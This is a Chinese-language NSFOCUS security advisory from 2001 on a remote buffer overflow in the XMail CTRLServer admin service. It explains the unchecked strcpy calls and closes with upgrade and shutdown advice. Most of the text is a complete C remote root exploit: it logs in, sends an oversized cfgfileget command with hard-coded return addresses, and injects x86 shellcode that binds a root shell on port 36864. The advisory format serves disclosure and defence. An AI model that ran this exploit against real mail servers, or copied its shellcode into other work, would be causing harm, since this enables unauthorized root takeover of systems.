安全研究

安全漏洞
Xmail CTRLServer远程缓冲区溢出漏洞

发布日期:2001-02-19
更新日期:2001-02-19

受影响系统:

Davide Libenzi XMail version 0.67以及以前版本
不受影响系统:

Davide Libenzi XMail version 0.68
描述:

XMail是一个免费的Mail服务器软件。CTRLServer是它所带的一个管理工具,
缺省监听6017端口。它存在一个缓冲区溢出问题,可能允许攻击者远程执行
任意命令。

问题出在CTRLSvr.cpp中:

line 1888: CTRLDo_domainadd() function
StrLower(strcpy(szDomain, ppszTokens[1]));

line 1921: CTRLDo_domaindel() function
StrLower(strcpy(szDomain, ppszTokens[1]));

line 2448: CTRLDo_cfgfileget() function
strcpy(szRelativePath, ppszTokens[1]);

line 2523: CTRLDo_cfgfileset() function
strcpy(szRelativePath, ppszTokens[1]);

szDomain是一个256字节长的局部缓冲区。ppszTokens[1]由用户提供。
由于没有进行边界检查就直接将其拷贝到szDomain中,可能导致堆栈
中保存的EIP被覆盖。由于通常XMail是以root身份运行,攻击者可以
远程获取root权限。

攻击者必须拥有一个有效的登录帐号才能发起攻击。

<*来源:isno (isno@etang.com) *>


测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!


isno (isno@etang.com) 提供了如下测试代码:
/*
* XMail CTRLServer remote root exploit for linux/x86
*
* Author: isno(isno@etang.com), 01/2001
*
* NOTE:
*  Because the buffer is too small to set many of NOP before shellcode,it
* is deficult to guess ret.And it cannot brute force offset,because once
* sending overflow code to the CTRLServer, XMail will be crashed.
*
*
* Tested on:
*   RedHat Linux 6.0 i386 XMail 0.65
*
* Compile:
*   gcc -o xmailx xmailx.c
*
* Usage:
*   ./xmailx username passwd targethost [offset]
*   and telnet targethost 36864
*
*/

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>

#define BSIZE            512
#define RETADDRESS        0xbc7fe988    /* maybe 0xbffff9a4 in some box */
#define OFFSET            20
#define NOP            0x90
#define PORT            6017

void usage(char *app);

/*  shellcode bind TCP port 36864  */
char shellcode[]=
/* main: */
"\xeb\x72"                                /* jmp callz               */
/* start: */
"\x5e"                                    /* popl %esi               */
/* socket() */
"\x29\xc0"                                /* subl %eax, %eax         */
"\x89\x46\x10"                            /* movl %eax, 0x10(%esi)   */
"\x40"                                    /* incl %eax               */
"\x89\xc3"                                /* movl %eax, %ebx         */
"\x89\x46\x0c"                            /* movl %eax, 0x0c(%esi)   */
"\x40"                                    /* incl %eax               */
"\x89\x46\x08"                            /* movl %eax, 0x08(%esi)   */
"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
"\xb0\x66"                                /* movb $0x66, %al         */
"\xcd\x80"                                /* int $0x80               */
/* bind() */
"\x43"                                    /* incl %ebx               */
"\xc6\x46\x10\x10"                        /* movb $0x10, 0x10(%esi)  */
"\x66\x89\x5e\x14"                        /* movw %bx, 0x14(%esi)    */
"\x88\x46\x08"                            /* movb %al, 0x08(%esi)    */
"\x29\xc0"                                /* subl %eax, %eax         */
"\x89\xc2"                                /* movl %eax, %edx         */
"\x89\x46\x18"                            /* movl %eax, 0x18(%esi)   */
"\xb0\x90"                                /* movb $0x90, %al         */
"\x66\x89\x46\x16"                        /* movw %ax, 0x16(%esi)    */
"\x8d\x4e\x14"                            /* leal 0x14(%esi), %ecx   */
"\x89\x4e\x0c"                            /* movl %ecx, 0x0c(%esi)   */
"\x8d\x4e\x08"                            /* leal 0x08(%esi), %ecx   */
"\xb0\x66"                                /* movb $0x66, %al         */
"\xcd\x80"                                /* int $0x80               */
/* listen() */
"\x89\x5e\x0c"                            /* movl %ebx, 0x0c(%esi)   */
"\x43"                                    /* incl %ebx               */
"\x43"                                    /* incl %ebx               */
"\xb0\x66"                                /* movb $0x66, %al         */
"\xcd\x80"                                /* int $0x80               */
/* accept() */
"\x89\x56\x0c"                            /* movl %edx, 0x0c(%esi)   */
"\x89\x56\x10"                            /* movl %edx, 0x10(%esi)   */
"\xb0\x66"                                /* movb $0x66, %al         */
"\x43"                                    /* incl %ebx               */
"\xcd\x80"                                /* int $0x80               */
/* dup2(s, 0); dup2(s, 1); dup2(s, 2); */
"\x86\xc3"                                /* xchgb %al, %bl          */
"\xb0\x3f"                                /* movb $0x3f, %al         */
"\x29\xc9"                                /* subl %ecx, %ecx         */
"\xcd\x80"                                /* int $0x80               */
"\xb0\x3f"                                /* movb $0x3f, %al         */
"\x41"                                    /* incl %ecx               */
"\xcd\x80"                                /* int $0x80               */
"\xb0\x3f"                                /* movb $0x3f, %al         */
"\x41"                                    /* incl %ecx               */
"\xcd\x80"                                /* int $0x80               */
/* execve() */
"\x88\x56\x07"                            /* movb %dl, 0x07(%esi)    */
"\x89\x76\x0c"                            /* movl %esi, 0x0c(%esi)   */
"\x87\xf3"                                /* xchgl %esi, %ebx        */
"\x8d\x4b\x0c"                            /* leal 0x0c(%ebx), %ecx   */
"\xb0\x0b"                                /* movb $0x0b, %al         */
"\xcd\x80"                                /* int $0x80               */
/* callz: */
"\xe8\x89\xff\xff\xff"                    /* call start              */
"/bin/sh";
/*  128 bytes  */

int main(int argc, char *argv[])
{
    char buff[BSIZE+1];
    char sendbuf[600]="cfgfileget\t";
    char loginbuf[200];
    char rcvbuf[1024];
    char *username;
    char *password;
    char *target;
    int i;
    int noprange;
    int offset=OFFSET;
    u_long sp=RETADDRESS;
    u_long addr;

    int skt;
    long inet;
    struct hostent *host;
    struct sockaddr_in sin;

    if(argc<4)
    {
        usage(argv[0]);
        return 1;
    }
    
    username = argv[1];
    password = argv[2];
    target = argv[3];
    if(argc>4)
    {
        offset = atoi(argv[4]);
    }

    addr=sp - (long)offset;
    noprange=256+4-strlen(shellcode);
    memset(buff, NOP, BSIZE);
    memcpy(buff+(long)noprange, shellcode, strlen(shellcode));
    for (i = 256+4; i < BSIZE; i += 4)
          *((int *) &buff[i]) = addr;

    buff[BSIZE]='\0';

    fprintf(stderr, "\nUse retAddress: 0x%08x\n\n",addr);

    strcat(sendbuf, buff);
    strcat(sendbuf, "\r\n");
    strcpy(loginbuf,username);
    strcat(loginbuf,"\t");      /* command should splitted by TAB */
    strcat(loginbuf,password);
    strcat(loginbuf,"\r\n");

    skt = socket(PF_INET, SOCK_STREAM, 0);
    if(skt == 0)
    {
      perror("socket()");
      exit(-1);
    }

    inet = inet_addr(target);
    if(inet == -1)
    {
      if(host = gethostbyname(target))
        memcpy(&inet, host->h_addr, 4);
      else
        inet = -1;
      if(inet == -1)
        {
            fprintf(stderr, "Cant resolv %s!!\n", target);
            exit (-1);
        }
    }
    sin.sin_family = PF_INET;
    sin.sin_port = htons(PORT);
    sin.sin_addr.s_addr = inet;
    if (connect (skt, (struct sockaddr *)&sin, sizeof(sin)) < 0)
    {
      perror("Connect()");
      exit(-1);
    }
    read(skt, rcvbuf, 1024);
    fprintf(stderr, "%s\n", rcvbuf);
    memset(rcvbuf, 0x0, 1024);
    fprintf(stderr, "Starting to login...\n");
    write(skt, loginbuf, strlen(loginbuf));
    sleep(1);
    read(skt, rcvbuf, 1024);
    if(strstr(rcvbuf,"00000")==NULL)
    {
        perror("Login failed!");
        exit(-1);
    }
    write(skt, sendbuf, strlen(sendbuf));
    close(skt);

    fprintf(stderr, "Success!now telnet %s 36864\n", target);
    return 1;
}

void usage(char *app)
{
  fprintf(stderr, "\nXMail 0.65/0.66 CTRLSvr exploit\n\n");
  fprintf(stderr, "Usage: %s username passwd targethost [offset]\n\n", app);
  return;
}



建议:

临时解决办法:

NSFOCUS建议您在没有升级到0.68版以前,暂时关闭CtrlClnt服务程序。

厂商补丁:

此问题将在Xmail 0.68版中得到解决。请去厂商主页获取新版本:
http://www.mycio.com/davidel/xmail



浏览次数:4282
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障